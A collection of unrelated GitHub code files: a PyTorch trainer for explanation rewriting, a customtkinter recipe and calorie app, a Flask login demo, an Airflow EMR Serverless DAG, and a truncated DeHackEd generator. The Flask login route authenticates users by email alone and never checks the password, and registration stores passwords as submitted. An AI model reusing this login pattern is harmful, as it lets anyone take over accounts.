- 1\n        if prev_epoch != self.best_epoch:\n            epochs_to_purge.append(prev_epoch)\n\n        # remove previous best checkpoint\n        if is_new_best and self.best_epoch:\n            epochs_to_purge.append(self.best_epoch)\n\n        for e in epochs_to_purge:\n            if e % self.save_every != 0:\n                cp_name = self.ckpt_name(e)\n                self.ckpt_mng.delete(cp_name)\n                self.log('Delete checkpoint:', cp_name)\n\n\nclass CompExpTrainer(AbstractTrainer):\n    ''' Trainer to train rewrite generator '''\n\n    def __init__(self, *args, rewrite_dataset, n_item_exps=None, n_ref_exps=None, n_pos_exps=None, n_user_exps=None, ext_loss='NLL', loss_lambda=None, use_idf=False, **kargs):\n        super().__init__(*args, **kargs)\n\n        self.loss_lambda = loss_lambda\n\n        self.rewrite_collate_fn = CompExpGenBuilder(\n            rvw_data=None, n_ref_exps=n_ref_exps)\n\n        self.ext_loss = ext_loss\n        if ext_loss == 'NLL':\n            self.collate_fn = ExtBuilder(\n                n_item_exps=n_item_exps, n_ref_exps=n_ref_exps, n_pos_exps=n_pos_exps, n_user_exps=n_user_exps)\n        elif ext_loss == 'BLEU':\n            self.collate_fn = BleuRankBuilder(\n                n_item_exps=n_item_exps, n_ref_exps=n_ref_exps, n_pos_exps=n_pos_exps, n_user_exps=n_user_exps, bleu_type=2, adv=False, use_idf=use_idf)\n\n        self.rewrite_loader = DataLoader(\n            rewrite_dataset, collate_fn=self.rewrite_collate_fn, batch_size=self.batch_size, shuffle=True, num_workers=4)\n\n        self.rewrite_iter = None\n\n    def train(self, train_data, dev_data):\n        self.rewrite_collate_fn.rvw_data = train_data\n        self.rewrite_iter = iter(self.rewrite_loader)\n        return super().train(train_data, dev_data)\n\n    def run_batch(self, batch_data, val=False):\n        '''\n        Outputs:\n          loss: tensor, overall loss to optimize\n        '''\n        labels = batch_data.item_exp_label\n        result = self.model.extractor(batch_data)  # (batch, n_item_exps)\n        probs = result.probs\n\n        if self.ext_loss == 'NLL':\n            pos_probs = probs[labels]\n            ext_loss = - (pos_probs + 1e-10).log().mean()\n        elif self.ext_loss == 'BLEU':\n            ext_loss = - (probs * labels).sum(1).mean()\n\n        loss = ext_loss\n\n        # rewrite\n        rewrite_loss = 0\n        if not val:\n            rewrite_batch_data = next(self.rewrite_iter, None)\n            if not rewrite_batch_data:\n                self.rewrite_iter = iter(self.rewrite_loader)\n                rewrite_batch_data = next(self.rewrite_iter, None)\n\n            rewrite_batch_data.to(DEVICE)\n            words = rewrite_batch_data.words\n\n            # concat sos at the top & remove eos at the bottom\n            sos_var = torch.full((words.size(0), 1), voc.sos_idx,\n                                 dtype=torch.long, device=words.device)\n            inp = torch.cat([sos_var, words[..., :-1]], dim=1)\n\n            # (batch, n_item_exps)\n            gen_results = self.model(inp, rewrite_batch_data)\n            log_probs = gen_results.output\n            rewrite_loss = mask_nll_loss(\n                log_probs, words, rewrite_batch_data.words_mask)\n\n            loss = self.loss_lambda['ext'] * loss + \\\n                self.loss_lambda['gen'] * rewrite_loss\n\n            # loss += 2 * result.energies.mean()\n\n        return loss, ext_loss, rewrite_loss\n\n    def _result_to_str(self, epoch_result):\n        ''' convert result list to readable string '''\n        return 'Loss: {:.4f}; Ext Loss: {:.4f}; Gen Loss: {:.4f};'.format(*epoch_result)\n\n    def _sum_to_result(self, results_sum, length):\n        '''\n        Convert accumulated sum of results to epoch result\n        by default return the average batch loss\n        '''\n        return tuple(loss_sum / length for loss_sum in results_sum)\n\n\nclass CompExpPolicyGradientTrainer(AbstractTrainer):\n    ''' Trainer to train rewrite generator '''\n\n    def __init__(self, *args, rewrite_dataset=None, n_item_exps=None, n_ref_exps=None, use_idf=False, bleu_weight=None, loss_lambda=None, **kargs):\n        super().__init__(*args, **kargs)\n\n        self.model.ext_policy = 'sample'\n        self.searcher = SearchDecoder(\n            self.model, greedy=False, max_length=MAX_LENGTH)\n        self.pb = ParallelBleu(8)\n\n        self.rewrite_loader, self.rewrite_iter = None, None\n        if rewrite_dataset:\n            print('with rewrite')\n            self.rewrite_collate_fn = CompExpGenBuilder(\n                rvw_data=None, n_ref_exps=n_ref_exps)\n\n            self.rewrite_loader = DataLoader(\n                rewrite_dataset, collate_fn=self.rewrite_collate_fn, batch_size=self.batch_size, shuffle=True, num_workers=4)\n\n        self.collate_fn = ExtBuilder(\n            n_item_exps=n_item_exps, n_ref_exps=n_ref_exps, n_pos_exps=0, n_user_exps=0, return_rvws=True)\n\n        self.loss_lambda = loss_lambda\n        self.use_idf = use_idf\n\n        self.bleu_weight = bleu_weight\n\n    def train(self, train_data, dev_data):\n        if self.rewrite_loader:\n            self.rewrite_collate_fn.rvw_data = train_data\n            self.rewrite_iter = iter(self.rewrite_loader)\n\n        return super().train(train_data, dev_data)\n\n    def run_batch(self, batch_data, val=False):\n        '''\n        Outputs:\n          loss: tensor, overall loss to optimize\n        '''\n        # item_exp_bleus = batch_data.item_exp_label\n        ext_log_prob_list, gen_log_prob_list = [], []\n        ext_bleu_list, gen_bleu_list, ext_recall_list = [], [], []\n\n        for _ in range(5 if not val else 1):\n            result = self.searcher(batch_data)  # (batch, n_item_exps)\n            ext_probs, ext_indices = result.ext_probs, result.ext_indices\n            exted_probs = ext_probs[range(ext_indices.size(0)), ext_indices]\n            log_exted_probs = (exted_probs + 1e-10).log()\n\n            gen_words, gen_probs, gen_lens = result.words, result.probs, result.words_lens\n            log_gen_porbs = gen_probs.log()\n            for i, l in enumerate(gen_lens):\n                log_gen_porbs[i, l:] = 0\n            log_gen_porbs = log_gen_porbs.sum(-1)\n\n            ext_log_prob_list.append(log_exted_probs)\n            gen_log_prob_list.append(log_gen_porbs)\n\n            # Reward advantage\n            # base_bleus = (ext_probs * item_exp_bleus).sum(1)\n\n            exps = [\n                [voc[w_idx] for w_idx in exp[:l].tolist() if w_idx != voc.eos_idx]\n                for exp, l in zip(gen_words, gen_lens)\n            ]\n            refs = [rvw.text for rvw in batch_data.rvws]\n\n            bleus = self.pb(exps, refs, use_idf=self.use_idf,\n                            weights=self.bleu_weight)\n            bleus = torch.tensor([b[0] for b in bleus],\n                                 device=log_gen_porbs.device)\n            gen_bleu_list.append(bleus)\n\n            exts = [item_exps[idx]\n                    for item_exps, idx in zip(batch_data.item_exps, ext_indices)]\n\n            ext_recall = self.pb.ext_recall(\n                exts, exps, refs, weights=(.7, .3), use_idf=self.use_idf)\n            ext_recall = torch.tensor(\n                [r[0] for r in ext_recall], device=log_gen_porbs.device)\n            ext_recall_list.append(ext_recall)\n\n            exted_bleus = self.pb(\n                exts, refs, weights=self.bleu_weight, use_idf=self.use_idf)\n            exted_bleus = torch.tensor(\n                [b[0] for b in exted_bleus], device=log_gen_porbs.device)\n            ext_bleu_list.append(exted_bleus)\n\n        ext_log_probs = torch.stack(ext_log_prob_list, dim=1)\n        gen_log_probs = torch.stack(gen_log_prob_list, dim=1)\n        ext_bleu = torch.stack(ext_bleu_list, dim=1)\n        gen_bleu = torch.stack(gen_bleu_list, dim=1)\n        ext_recall = torch.stack(ext_recall_list, dim=1)\n\n        ext_rewards = gen_bleu + 0.2 * ext_bleu\n        gen_rewards = gen_bleu + 0.2 * ext_recall\n\n        ext_adv = ext_rewards - ext_rewards.mean(-1, keepdim=True)\n        gen_adv = gen_rewards - gen_rewards.mean(-1, keepdim=True)\n\n        loss = - (ext_adv * ext_log_probs).mean() - \\\n            (gen_adv * gen_log_probs).mean()\n\n        # rewrite\n        if not val and self.rewrite_iter:\n            rewrite_batch_data = next(self.rewrite_iter, None)\n            if not rewrite_batch_data:\n                self.rewrite_iter = iter(self.rewrite_loader)\n                rewrite_batch_data = next(self.rewrite_iter, None)\n\n            rewrite_batch_data.to(DEVICE)\n            words = rewrite_batch_data.words\n\n            # concat sos at the top & remove eos at the bottom\n            sos_var = torch.full((words.size(0), 1), voc.sos_idx,\n                                 dtype=torch.long, device=words.device)\n            inp = torch.cat([sos_var, words[..., :-1]], dim=1)\n\n            # (batch, n_item_exps)\n            results = self.model(inp, rewrite_batch_data)\n            log_probs = results.output\n            rewrite_loss = mask_nll_loss(\n                log_probs, words, rewrite_batch_data.words_mask)\n\n            loss = self.loss_lambda['pg'] * loss + \\\n                self.loss_lambda['gen'] * rewrite_loss\n\n        return loss, gen_bleu.mean()\n\n    def _result_to_str(self, epoch_result):\n        ''' convert result list to readable string '''\n        return 'Loss: {:.4f}; BLEU: {:.4f};'.format(*epoch_result)\n\n    def _result_sort_key(self, result):\n        ''' return the sorting value of a result, the smaller the better '''\n        return -result[1]\n\n    def _sum_to_result(self, results_sum, length):\n        '''\n        Convert accumulated sum of results to epoch result\n        by default return the average batch loss\n        '''\n        return tuple(loss_sum / length for loss_sum in results_sum)\n","repo_name":"HCDM/XRec","sub_path":"CompExp/src/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":18521,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"22"}
+{"seq_id":"27121820584","text":"from Klase import *\n\ncustomtkinter.set_appearance_mode(\"dark\")\ncustomtkinter.set_default_color_theme(\"green\")\n\nroot = customtkinter.CTk()\nroot.title(\"Recepti\")\nroot.geometry(\"400x280\")\n\n\nframe = customtkinter.CTkFrame(root,fg_color = \"transparent\")\nframe.pack(side = \"top\", padx=30, pady=30)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\nb_1 = customtkinter.CTkButton(frame, text=\"Recepti\",command=lambda:list_box_recept())\nb_1.grid(row=0, column=0, padx=10, pady=10)\n\nb_2 = customtkinter.CTkButton(frame, text=\"Namirnice\",command=lambda:namirnice())\nb_2.grid(row=1, column=0, padx=10, pady=10)\n\nb_3 = customtkinter.CTkButton(frame, text=\"Grafici\",command=lambda:grafici())\nb_3.grid(row=2, column=0, padx=10, pady=10)\n\nb_4 = customtkinter.CTkButton(frame, text=\"Export\",command=lambda:export())\nb_4.grid(row=3, column=0, padx=10, pady=10)\n\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\ndef list_box_recept():\n\n    t = customtkinter.CTkToplevel(root)\n    t.geometry(\"650x350\")\n    frame1 = customtkinter.CTkFrame(t,fg_color = \"transparent\",width=20,height=20)\n    frame1.place(relx = 0,rely = 0)\n\n    frame2 = customtkinter.CTkFrame(t,fg_color = \"transparent\",width=200,height=200)\n    frame2.place(relx = 0.45,rely=0)\n\n    frame3 = customtkinter.CTkFrame(t,fg_color = \"transparent\",width=200,height=200)\n    frame3.place(relx = 0,rely=0.5)\n\n    listbox = tk.Listbox(frame1, selectmode=tk.MULTIPLE,width=20)\n    listbox.pack()\n    \n    b_t = customtkinter.CTkButton(frame2,text = \"Obrisi recept\",command = lambda:rec.obrisi_recept(delete_selected()))\n    b_t.pack(padx=5, pady=5)\n\n    b_t1 = customtkinter.CTkButton(frame2,text = \"Sastojci recepta\",command = lambda:l_t.configure(text = info_recipe()))\n    b_t1.pack(padx=5, pady=5)\n\n    b1_t1 = customtkinter.CTkButton(frame2,text = \"Dodaj recept\",command=lambda:dodaj_recept())\n    b1_t1.pack(padx=5, pady=5)\n\n    b2_t1 = customtkinter.CTkButton(frame2,text = \"Recept - kalorije\",command=lambda:l_t.configure(text = rec.ocitaj_kalorije_recept(select_value())))\n    b2_t1.pack(padx=5, pady=5)\n\n    b3_t1 = customtkinter.CTkButton(frame2,text = \"Svi recepti - kalorije\",command=lambda:l_t.configure(text = rec.ocitaj_kalorije_svi_recepti()))\n    b3_t1.pack(padx=5, pady=5)\n\n    l_t = customtkinter.CTkLabel(frame3,text = \"\")\n    l_t.pack(padx=5, pady=5)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    for index,row in rec.recepti_df.iterrows():\n        row_text = row[0]\n\n        listbox.insert(tk.END, row_text)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def delete_selected():\n        selected_indices = listbox.curselection()\n        if selected_indices:\n            selected_recipe = selected_indices[0]  # Assuming only one item is selected\n            selected_value = listbox.get(selected_recipe)\n            print(selected_value)\n            rec.obrisi_recept(selected_value)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def select_value():\n        selected_indices = listbox.curselection()\n        if selected_indices:\n            selected_recipe = selected_indices[0]  # Assuming only one item is selected\n            selected_value = listbox.get(selected_recipe)\n            return selected_value\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def info_recipe():\n        selected_indices = listbox.curselection()\n        print(selected_indices)\n\n        if selected_indices:\n            selected_recipe = selected_indices[0]  # Assuming only one item is selected\n            selected_value = listbox.get(selected_recipe)\n            celi_recept =(rec.recepti_df[rec.recepti_df[\"nazivrecepta\"] == selected_value])\n            celi_recept.dropna(axis = 1,inplace = True)\n            return celi_recept.iloc[0]\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def dodaj_recept():\n        t1 = customtkinter.CTkToplevel(root)\n        t1.geometry(\"800x550\")\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n        frame4 = customtkinter.CTkFrame(t1,fg_color = \"transparent\")\n        frame4.pack(side=\"top\", padx=5, pady=5)\n\n        frame5 = customtkinter.CTkFrame(t1,fg_color = \"transparent\")\n        frame5.pack(side=\"top\", padx=5, pady=5)\n\n        frame6 = customtkinter.CTkFrame(t1,fg_color = \"transparent\")\n        frame6.place(relx = 0.8,rely = 0.8)\n \n        l_t1 = customtkinter.CTkLabel(frame4, text=\"Naziv recepta\")\n        l_t1.pack()\n        e_t1 = customtkinter.CTkEntry(frame4, placeholder_text=\"\")\n        e_t1.pack()\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n        add_entry_button = customtkinter.CTkButton(frame6, text=\"Dodaj novi sastojak\", command=lambda:add_entry())\n        add_entry_button.grid(row=1, column=0, padx=3, pady=3, sticky=\"ew\")\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n        b = customtkinter.CTkButton(frame6, text=\"Dodaj recept\", command=lambda:rec.dodaj_recept(e_t1.get(),*[x.get() for x in entries]))\n        b.grid(row=2, column=0, padx=3, pady=3, sticky=\"ew\")\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n        l1_t1 = customtkinter.CTkLabel(frame5, text=\"Ime sastojka\")\n        l1_t1.grid(row=0, column=0, padx=3, pady=3, sticky=\"ew\")\n\n        combobox_ingredient = customtkinter.CTkComboBox(frame5, values= rec.namirnice_df[\"nazivnamirnice\"].to_list(), variable=\"\", width=150)\n        combobox_ingredient.grid(row=1, column=0 , padx=3, pady=3, sticky=\"ew\")\n\n        l3_t1 = customtkinter.CTkLabel(frame5, text=\"Jedinica mere\")\n        l3_t1.grid(row=0, column=1, padx=3, pady=3, sticky=\"ew\")\n\n        combobox_unit = customtkinter.CTkComboBox(frame5, values=list(set(rec.namirnice_df[\"jedinicamere\"].to_list())), variable=\"\", width=150)\n        combobox_unit.grid(row=1, column=1, padx=3, pady=3, sticky=\"ew\")\n\n        l2_t1 = customtkinter.CTkLabel(frame5, text=\"Kolicina\")\n        l2_t1.grid(row=0, column=2, padx=3, pady=3, sticky=\"ew\")\n\n        e2_t1 = customtkinter.CTkEntry(frame5, placeholder_text=\"\")\n        e2_t1.grid(row=1, column=2, padx=3, pady=3, sticky=\"ew\")\n\n        entries = [combobox_ingredient,combobox_unit, e2_t1]\n\n        # def get_widget_values():\n        #     return [x.get() for x in entries]\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n        def add_entry():\n            \n            frame = customtkinter.CTkFrame(t1,fg_color = \"transparent\")\n            frame.pack(side=\"top\", padx=5, pady=5)\n\n            new_combobox_ingredient = customtkinter.CTkComboBox(frame, values= rec.namirnice_df[\"nazivnamirnice\"].to_list(), variable=\"\", width=150)\n            new_combobox_ingredient.grid(row=0, column=0, padx=3, pady=3, sticky=\"ew\")\n\n            new_combobox_unit = customtkinter.CTkComboBox(\n                frame, values=list(set(rec.namirnice_df[\"jedinicamere\"].to_list())), variable=\"\", width=150)\n            new_combobox_unit.grid(row=0, column=1, padx=3, pady=3, sticky=\"ew\")\n\n            new_e2_t = customtkinter.CTkEntry(frame, placeholder_text=\"\")\n            new_e2_t.grid(row=0, column=2, padx=3, pady=3, sticky=\"ew\")\n\n            entries.append(new_combobox_ingredient)\n            entries.append(new_combobox_unit)\n            entries.append(new_e2_t)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\ndef namirnice():\n    t2 = customtkinter.CTkToplevel(root)\n    t2.geometry(\"650x350\")\n\n    frame1 = customtkinter.CTkFrame(t2,fg_color = \"transparent\",width=20,height=20)\n    frame1.place(relx = 0,rely = 0)\n        \n    listbox_nam = tk.Listbox(frame1, selectmode=tk.MULTIPLE,width=20)\n    listbox_nam.pack()\n\n    for index,row in rec.namirnice_df.iterrows():\n        row_text = row[0]\n        listbox_nam.insert(tk.END, row_text)\n    \n    def update_listbox_namirnice():\n        listbox_nam.delete(0,END)\n        for index,row in rec.namirnice_df.iterrows():\n            row_text = row[0]\n            listbox_nam.insert(END, row_text)\n        return listbox_nam\n    \n    update_listbox_namirnice()\n\n    frame2 = customtkinter.CTkFrame(t2,fg_color = \"transparent\",width=200,height=200)\n    frame2.place(relx = 0.45,rely=0)\n\n    frame3 = customtkinter.CTkFrame(t2,fg_color = \"transparent\",width=200,height=200)\n    frame3.place(relx = 0,rely=0.5)\n\n    b0_t2 = customtkinter.CTkButton(frame2,text = \"Obrisi namirnicu\",command=lambda:[delete_selected_namirnica(),update_listbox_namirnice()])\n    b0_t2.pack(padx=5, pady=5)\n\n    b_t2 = customtkinter.CTkButton(frame2,text = \"Dodaj namirnicu\",command=lambda:[dodaj_namirnicu(),update_listbox_namirnice()])\n    b_t2.pack(padx=5, pady=5)\n\n    b1_t2 = customtkinter.CTkButton(frame2,text = \"Kalorije - namirnica\",command=lambda:l_t2.configure(text = rec.ocitaj_kalorije_namirnica(select_value_namirnica())))\n    b1_t2.pack(padx=5, pady=5)\n\n    b2_t2 = customtkinter.CTkButton(frame2,text = \"Kalorije - sve namirnice\",command=lambda:l_t2.configure(text = rec.ocitaj_kalorije_sve_namirnice()))\n    b2_t2.pack(padx=5, pady=5)\n\n    l_t2 = customtkinter.CTkLabel(frame3,text = \"\")\n    l_t2.pack(padx=5, pady=5)\n\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def delete_selected_namirnica():\n        selected_indices = listbox_nam.curselection()\n        if selected_indices:\n            selected_recipe = selected_indices[0]  # Assuming only one item is selected\n            selected_value = listbox_nam.get(selected_recipe)\n            print(selected_value)\n            rec.obrisi_namirnicu(selected_value)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def dodaj_namirnicu():\n        t3 = customtkinter.CTkToplevel(root)\n        t3.geometry(\"800x200\")\n \n        frame1 = customtkinter.CTkFrame(t3,fg_color = \"transparent\")\n        frame1.pack(side=\"top\", padx=5, pady=5)\n\n        b = customtkinter.CTkButton(frame1, text=\"Dodaj namirnicu\",command=lambda:[(rec.dodaj_namirnicu(e_t3.get(),combobox_unit.get(),combobox_amount.get(),e1_t3.get())),(update_listbox_namirnice())])\n        b.grid(row=2, column=0, padx=3, pady=3, sticky=\"ew\")\n\n        l1_t3 = customtkinter.CTkLabel(frame1, text=\"Naziv Namirnice\")\n        l1_t3.grid(row=0, column=0, padx=3, pady=3, sticky=\"ew\")\n\n        e_t3 = customtkinter.CTkEntry(frame1,  width=150)\n        e_t3.grid(row=1, column=0 , padx=3, pady=3, sticky=\"ew\")\n\n        l2_t3 = customtkinter.CTkLabel(frame1, text=\"Jedinica mere\")\n        l2_t3.grid(row=0, column=1, padx=3, pady=3, sticky=\"ew\")\n\n        combobox_unit = customtkinter.CTkComboBox(frame1, values=list(set(rec.namirnice_df[\"jedinicamere\"].to_list())), variable=\"\", width=150)\n        combobox_unit.grid(row=1, column=1, padx=3, pady=3, sticky=\"ew\")\n\n        l3_t3 = customtkinter.CTkLabel(frame1, text=\"Kolicina\")\n        l3_t3.grid(row=0, column=2, padx=3, pady=3, sticky=\"ew\")\n\n        combobox_amount = customtkinter.CTkComboBox(frame1, values=[str(value) for value in set(rec.namirnice_df[\"kolicina\"].to_list())], variable=\"\", width=150)\n        combobox_amount.grid(row=1, column=2, padx=3, pady=3, sticky=\"ew\")\n\n        l3_t3 = customtkinter.CTkLabel(frame1, text=\"Kalorije\",width=150)\n        l3_t3.grid(row=0, column=3, padx=3, pady=3, sticky=\"ew\")\n\n        e1_t3 = customtkinter.CTkEntry(frame1,  width=150)\n        e1_t3.grid(row=1, column=3, padx=3, pady=3, sticky=\"ew\")\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n    def select_value_namirnica():\n        selected_indices = listbox_nam.curselection()\n        if selected_indices:\n            selected_ingredient = selected_indices[0]  # Assuming only one item is selected\n            selected_value = listbox_nam.get(selected_ingredient)\n            return selected_value\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\ndef grafici():\n    t4 = customtkinter.CTkToplevel(root)\n    t4.geometry(\"300x150\")\n\n    frame1 = customtkinter.CTkFrame(t4,fg_color = \"transparent\",width=20,height=20)\n    frame1.pack(side=\"top\", padx=5, pady=5)\n\n    b_t4 = customtkinter.CTkButton(frame1,text = \"Plot kalorija namirnica\",command=lambda:[rec.plot_kalorije_namirnice()])\n    b_t4.pack(padx=5, pady=5)\n\n    b1_t4 = customtkinter.CTkButton(frame1,text = \"Plot kalorija recepata\",command=lambda:rec.plot_kalorije_recepti())\n    b1_t4.pack(padx=5, pady=5)\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------#\ndef export():\n    t4 = customtkinter.CTkToplevel(root)\n    t4.geometry(\"300x150\")\n\n    frame1 = customtkinter.CTkFrame(t4,fg_color = \"transparent\",width=20,height=20)\n    frame1.pack(side=\"top\", padx=5, pady=5)\n\n    b_t4 = customtkinter.CTkButton(frame1,text = \"Export to .xlsx - Recepti\",command=lambda:rec.export_to_xlsx_recepti())\n    b_t4.pack(padx=5, pady=5)\n\n    b1_t4 = customtkinter.CTkButton(frame1,text = \"Export to .xlsx - Namirnice\",command=lambda:rec.export_to_xlsx_namirnice())\n    b1_t4.pack(padx=5, pady=5)\n\n    b2_t4 = customtkinter.CTkButton(frame1,text = \"Export to .json - Recepti\",command=lambda:rec.export_to_json_recepti())\n    b2_t4.pack(padx=5, pady=5)\n\ndef potvrda():\n    a = pg1.confirm(\"Are you sure?\")\n    if a == \"OK\":\n        root.destroy()\n    else:\n        pass\n\ndef exit_command():\n    potvrda()\n\nmenubar = tk.Menu(master=root)\nmenubar = tk.Menu(menubar, tearoff=0)\nmenubar.add_command(label=\"Exit\", command=exit_command)\n\nroot.configure(menu=menubar)\n\n\nroot.mainloop()","repo_name":"Nasahahapatimal/Recipes_Calories","sub_path":"CustomTkinter.py","file_name":"CustomTkinter.py","file_ext":"py","file_size_in_byte":16003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"34041675935","text":"from landing import app, db\nfrom flask import render_template, url_for, flash, redirect, request, Blueprint\nfrom flask_login import login_user, current_user, logout_user, login_required\nfrom landing.models import User\nfrom landing.forms import *\n\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n\tif current_user.is_authenticated:\n\t\treturn redirect(url_for('hello'))\n\tform = RegistrationForm()\n\tif form.validate_on_submit():\n\t\tuser = User(username=form.username.data, email=form.email.data, password=form.password.data)\n\t\tdb.session.add(user)\n\t\tdb.session.commit()\n\t\tflash('Your account has been created! You are now able to log in', 'success')\n\t\treturn redirect(url_for('login'))\n\treturn render_template('signup.html', title='Register', form=form)\n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    if form.validate_on_submit():\n        user = User.query.filter_by(email=form.email.data).first()\n        if user:\n            login_user(user)\n            # next_page = request.args.get('next')\n            return redirect(url_for('hello'))\n        else:\n            flash('Login Unsuccessful. Please check email and password', 'danger')\n    return render_template('login.html', title='Login', form=form)\n\n\n@app.route(\"/logout\")\ndef logout():\n    logout_user()\n    return redirect(url_for('login'))\n\n\n\n@app.route(\"/\")\ndef hello():\n\treturn '<h1>Hello World Flask</h1>'\n\n\n@app.route(\"/about-us/\")\ndef about_us():\n\treturn '<h1>About Us Page</h1>'\n\n@app.route(\"/myprofile/\")\n@login_required\ndef profile():\n\tif current_user.is_authenticated:\n\t\tprint(\"login user\")\n\tuser = current_user\n\tprint(dir(user))\n\treturn \"<h1>Hello {username}</h1>\".format(username=user.username)","repo_name":"asharpc/flask-demo","sub_path":"landing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18631360040","text":"from datetime import datetime\nfrom airflow import DAG\nfrom airflow.models import Variable\nfrom airflow.operators.python_operator import PythonOperator\nfrom emr_serverless.operators.emr import (\n    EmrServerlessCreateApplicationOperator,\n    EmrServerlessStartJobOperator,\n    EmrServerlessDeleteApplicationOperator,\n)\n\n\nEMR_FUNDAMENTUS = Variable.get('EMR_FUNDAMENTUS')\nS3_LOGS_BUCKET = Variable.get('S3_LOGS_BUCKET')\n\n\nDEFAULT_MONITORING_CONFIG = {\n    \"monitoringConfiguration\": {\n        \"s3MonitoringConfiguration\": {\"logUri\": f\"s3://{S3_LOGS_BUCKET}/logs/\"}\n    },\n}\n\n\nwith DAG(\n    dag_id='analytical_dre',\n    start_date=datetime(2022, 10, 6),\n    schedule_interval='10 19 * * 1-5',\n    catchup=False\n\n) as dag:\n\n\n    create_app = EmrServerlessCreateApplicationOperator(\n        task_id='create_spark_app',\n        job_type='SPARK',\n        release_label='emr-6.8.0',\n        config={'name': 'airflow-analytical-dre'},\n    )\n\n    application_id = create_app.output\n\n\n    union_datasets = EmrServerlessStartJobOperator(\n        task_id='dre_union',\n        application_id=application_id,\n        execution_role_arn=EMR_FUNDAMENTUS,\n        job_driver={\n            \"sparkSubmit\": {\n                'entryPoint':'s3://fundamentus-codes/sparkFiles/dre_union.py',\n                'sparkSubmitParameters': '--conf spark.submit.pyFiles=s3://fundamentus-codes/sparkFiles.zip',\n            }\n        },\n        configuration_overrides=DEFAULT_MONITORING_CONFIG,\n    )\n\n\n    pre_processing_dre_analytical = EmrServerlessStartJobOperator(\n        task_id='dre_analytical',\n        application_id=application_id,\n        execution_role_arn=EMR_FUNDAMENTUS,\n        job_driver={\n            \"sparkSubmit\": {\n                'entryPoint':'s3://fundamentus-codes/sparkFiles/dre_analytical.py',\n                'sparkSubmitParameters':'--conf spark.submit.pyFiles=s3://fundamentus-codes/sparkFiles.zip --conf spark.archives=s3://fundamentus-codes/pyspark_venv.tar.gz#environment --conf spark.emr-serverless.driverEnv.PYSPARK_DRIVER_PYTHON=./environment/bin/python --conf spark.emr-serverless.driverEnv.PYSPARK_PYTHON=./environment/bin/python --conf spark.executorEnv.PYSPARK_PYTHON=./environment/bin/python --conf spark.executor.cores=4 --conf spark.executor.memory=8g --conf spark.executor.instances=4 --conf spark.driver.cores=2 --conf spark.driver.memory=4g'\n            }\n        },\n        configuration_overrides=DEFAULT_MONITORING_CONFIG,\n    )\n\n    delete_app = EmrServerlessDeleteApplicationOperator(\n        task_id=\"delete_app\",\n        application_id=application_id,\n        trigger_rule=\"all_done\",\n    )\n\n    create_app >> union_datasets >> pre_processing_dre_analytical >> delete_app","repo_name":"andre-ds/fundamentando","sub_path":"airflow/dags/analytical_dre_dag.py","file_name":"analytical_dre_dag.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"24323644836","text":"from . import main\nfrom . import dehblocks\n\ndef get_framedefs(things, start=1):\n  framedefs = []\n  for number, thing in things.items():\n    for n, frame in enumerate(thing.Frames):\n      framedef = dehblocks.Frame(thing, start + n, n)\n      framedefs.append(framedef)\n    start += len(thing.Frames)\n  return tuple(framedefs)\n\ndef get_thingdefs(things, start=1):\n  thingdefs = []\n  if not isinstance(things, dict):\n    return tuple(thingdefs)\n  for number, thing in things.items():\n    thingdef = dehblocks.Thing(thing, number, start)\n    if hasattr(thing, 'Frames'):\n      start += len(thing.Frames)\n    thingdefs.append(thingdef)\n  return tuple(thingdefs)\n\ndef print_dehfile(*args, **kwargs):\n  str_codeptr = \"[codeptr]\\n\"\n  str_strings = \"[strings]\\n\"\n  str_frames = \"Patch File for DeHackEd v3.0\\n\"\n  str_frames += \"\\n\"\n  str_frames += \"# Note: Use the pound sign ('#') to start comment lines.\\n\"\n  str_frames += \"\\n\"\n  str_frames += \"Doom version = 19\\n\"\n  str_frames += \"Patch format = 6\\n\"\n  str_frames += \"\\n\"\n  str_things = \"\"\n  if 'start' in kwargs:\n    n = kwargs['start']\n  else:\n    n = 1\n  if 'indexed' in kwargs:\n    for n, thing in kwargs['indexed'].items():\n      _, new_frames, new_things, new_codeptrs, new_strings = main.get_thing(n, thing)\n      str_frames += new_frames\n      str_things += new_things\n      str_codeptr += new_codeptrs\n      str_strings += new_strings\n  else:\n    for thing in args:\n      n, new_frames, new_things, new_codeptrs, new_strings = main.get_thing(n, thing)\n      str_frames += new_frames\n      str_things += new_things\n      str_codeptr += new_codeptrs\n      str_strings += new_strings\n  print(str_frames + str_things + str_codeptr + \"\\n\" + 